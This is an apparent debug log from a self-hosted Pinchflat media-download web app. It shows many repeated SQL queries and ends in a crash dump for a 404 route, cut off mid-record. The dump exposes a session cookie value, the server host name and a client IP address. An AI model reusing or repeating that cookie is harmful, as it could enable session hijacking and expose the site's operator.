s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:13.587 [debug] QUERY OK source="settings" db=0.7ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.587 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 18:56:13.588 [debug] QUERY OK source="settings" db=0.4ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.588 [debug] QUERY OK source="media_items" db=0.5ms idle=1.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:56:13.589 [debug] QUERY OK source="sources" db=0.2ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:13.589 [debug] QUERY OK source="sources" db=0.3ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:13.590 [debug] QUERY OK source="media_items" db=0.5ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 18:56:13.590 [debug] QUERY OK source="media_items" db=0.3ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:56:13.591 [debug] QUERY OK source="media_items" db=0.7ms idle=1.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:56:13.592 [debug] QUERY OK source="media_items" db=1.3ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:56:13.592 [info] Sent 200 in 20ms 18:56:13.592 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:13.592 [debug] QUERY OK source="media_items" db=0.3ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 18:56:13.593 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:56:13.594 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:13.594 [debug] QUERY OK source="media_items" db=0.3ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 18:56:13.595 [debug] QUERY OK source="media_items" db=0.4ms idle=2.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:56:13.596 [info] Sent 200 in 14ms 18:56:13.640 [info] GET /sources/3/edit 18:56:13.640 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 18:56:13.641 [debug] QUERY OK source="sources" db=0.2ms idle=48.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:13.641 [debug] QUERY OK source="media_profiles" db=0.1ms idle=48.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:56:13.642 [debug] QUERY OK source="settings" db=0.1ms idle=47.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.642 [debug] QUERY OK source="settings" db=0.1ms idle=47.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.642 [debug] QUERY OK source="settings" db=0.0ms idle=47.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.644 [info] Sent 200 in 4ms 18:56:13.653 [info] GET /media_profiles/new 18:56:13.653 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 18:56:13.653 [debug] QUERY OK source="settings" db=0.1ms idle=12.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.654 [debug] QUERY OK source="settings" db=0.0ms idle=12.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.654 [debug] QUERY OK source="settings" db=0.0ms idle=12.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.654 [debug] QUERY OK source="settings" db=0.1ms idle=12.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.655 [debug] QUERY OK source="settings" db=0.1ms idle=12.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.656 [info] Sent 200 in 2ms 18:56:13.662 [info] GET /media_profiles/1/ 18:56:13.662 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 18:56:13.663 [debug] QUERY OK source="media_profiles" db=0.1ms idle=9.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.663 [debug] QUERY OK source="sources" db=0.2ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 18:56:13.664 [debug] QUERY OK source="settings" db=0.1ms idle=9.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.664 [debug] QUERY OK source="settings" db=0.0ms idle=9.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.664 [info] GET /media_profiles/1/edit 18:56:13.664 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 18:56:13.664 [debug] QUERY OK source="settings" db=0.2ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.665 [debug] QUERY OK source="media_profiles" db=0.5ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.666 [debug] QUERY OK source="settings" db=0.1ms queue=0.2ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.666 [info] Sent 200 in 3ms 18:56:13.666 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.666 [debug] QUERY OK source="settings" db=0.2ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.668 [info] Sent 200 in 3ms 18:56:13.683 [info] GET /sources/2/media/482073/edit 18:56:13.684 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "482073", "source_id" => "2"} Pipelines: [:browser] 18:56:13.684 [debug] QUERY OK source="media_items" db=0.1ms idle=19.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [482073] 18:56:13.684 [debug] QUERY OK source="settings" db=0.1ms idle=19.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.685 [debug] QUERY OK source="settings" db=0.1ms idle=18.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.685 [debug] QUERY OK source="settings" db=0.0ms idle=19.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.686 [info] Sent 200 in 2ms 18:56:13.692 [info] GET /sources/2/media/482073/force_download 18:56:13.692 [debug] QUERY OK source="settings" db=0.0ms idle=25.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.692 [debug] QUERY OK source="settings" db=0.0ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.692 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:13.694 [info] GET /sources/2/media/482073 18:56:13.694 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "482073", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 18:56:13.694 [debug] QUERY OK source="media_items" db=0.2ms idle=9.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [482073] 18:56:13.692 [error] #PID<0.163644.0> running PinchflatWeb.Endpoint (connection #PID<0.163643.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/482073/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/482073/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163643.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/482073/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33164}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163644.0>, params: %{}, path_info: ["sources", "2", "media", "482073", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", 